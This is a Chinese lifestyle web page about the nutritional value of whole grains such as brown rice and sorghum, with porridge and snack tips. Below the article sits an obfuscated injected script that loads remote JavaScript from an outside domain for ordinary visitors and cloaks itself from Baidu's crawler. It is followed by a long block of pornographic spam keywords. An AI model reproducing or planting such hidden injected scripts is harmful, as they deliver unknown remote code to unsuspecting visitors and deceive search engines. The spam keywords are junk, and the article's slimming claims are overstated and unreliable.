當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

五谷的營養(yǎng)價(jià)值有哪些呢

2017-07-11 22:43:14  來源:360常識網(wǎng)   熱度:
導(dǎo)語:五谷雜糧大家一定并不陌生,只是生活中我們經(jīng)常會吃的一種食品,五谷雜糧的營養(yǎng)價(jià)值很高,五谷中包括了大米,小米,綠豆,燕麥,其中用這些

五谷雜糧大家一定并不陌生,只是生活中我們經(jīng)常會吃的一種食品,五谷雜糧的營養(yǎng)價(jià)值很高,五谷中包括了大米,小米,綠豆,燕麥,其中用這些五谷磨出的粉,可以直接做粥喝,也可以直接煲湯喝,其中富含有豐富的營養(yǎng)價(jià)值和蛋白質(zhì),還可以降低脂肪和膽固醇,那么五谷的營養(yǎng)價(jià)值有哪些呢?

糙米稀飯“刮”脂肪

糙米最大的特點(diǎn)就是含有胚芽,其中維生素和纖維素的含量都很高,常吃能夠起到降低脂肪和膽固醇的作用,糙米中含鋅也很多,能夠改善皮膚粗糙的情況。

糙米詞如其意,就是粗糙的米,多數(shù)米粒還包著稻皮。糙米在一般的超市中就可以買到,外觀完整,色澤黃褐色或者淺褐色的散發(fā)香味的糙米最好。在做糙米粥之前,要先把糙米浸泡30分鐘左右,然后與做正常的米粥一樣煮就可以了。糙米粥能刺激胃液的分泌,有助于消化和營養(yǎng)的吸收。但是糖尿病最好不要直接喝這種糙米白粥,通常情況下,直接喝白粥,可能會引起血糖的突然增高。

高粱適合做點(diǎn)心

高粱米做粥做飯,都顯得略粗糙了一些,但是磨成面粉做成點(diǎn)心,則細(xì)膩營養(yǎng)了很多。高粱米最適合做一種叫高粱粑的點(diǎn)心,就是把高粱米磨成粉后加入泡打粉、白糖、雞蛋和適量水調(diào)到黏稠,揉成面團(tuán),把高粱面團(tuán)按平蒸熟,下油鍋稍炸,撒上芝麻即可。

高粱粑對于一些胃腸功能略差的人來說不好消化,可以嘗試做一些高粱羹,比如在做銀耳羹或者玉米羹的時(shí)候放上一點(diǎn)點(diǎn)高粱,可以讓原本就很營養(yǎng)的羹湯增加一些豐潤的口感。

五谷雜糧是生活中必不可少的主食,在北方人的飯桌上經(jīng)常會看到,常吃五谷雜糧不僅不會發(fā)胖,還可以減肥瘦身,利于脂肪代謝,促進(jìn)腸胃消化,在吃五谷雜糧的時(shí)候,可以根據(jù)不同的體質(zhì)選擇不同的五谷食用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
东京热一精品无码AV| 国产偷国产偷高清精品| 亚洲国产精品va在线播放| MM1313亚洲国产精品| 麻豆精品成人免费国产片| 国产精品一区二区无线| 99re热久久精品这里都是精品| sss视频在线精品| 亚洲国产日韩精品| 青青青国产依人精品视频| 老司机午夜精品视频在线观看免费| 国产2021精品视频免费播放| 国产午夜精品理论片久久影视| 国产一区二区精品在线观看| 99久久99久久精品免费看蜜桃| 久久亚洲国产午夜精品理论片| 亚洲福利精品一区二区三区| 欧美日韩久久久精品A片| 91精品国产入口| 久久99精品国产一区二区三区| 精品乱码一区内射人妻无码| 99爱在线精品免费观看| 99久久免费中文字幕精品| 国语自产精品视频| sss视频在线精品| 国产亚洲精品91| 亚洲精品一二三区| 亚洲精品综合久久中文字幕 | 99视频精品在线| 国产69精品久久久久9999APGF| 国产天堂亚洲精品| 蜜臀亚洲AV无码精品国产午夜.| 无码国产精品一区二区免费式直播| 99在线热视频只有精品免费| 国产精品成人A区在线观看| 国内精品久久久久国产盗摄| 国产精品成人国产乱一区| 无码精品人妻一区二区三区免费| 欧洲国产成人精品91铁牛tv| 亚洲精品久久久久无码AV片软件| 精品国产无限资源免费观看 |